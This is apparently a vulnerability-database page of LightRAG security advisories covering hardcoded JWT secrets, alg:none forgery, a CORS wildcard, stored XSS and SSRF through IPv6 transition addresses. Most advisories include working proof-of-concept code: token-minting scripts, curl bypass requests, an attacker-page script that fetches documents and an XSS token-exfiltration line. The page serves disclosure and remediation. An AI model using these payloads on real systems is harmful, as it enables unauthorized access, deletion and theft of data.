            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Sep 14, 2025

1.4.8rc9 pre

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
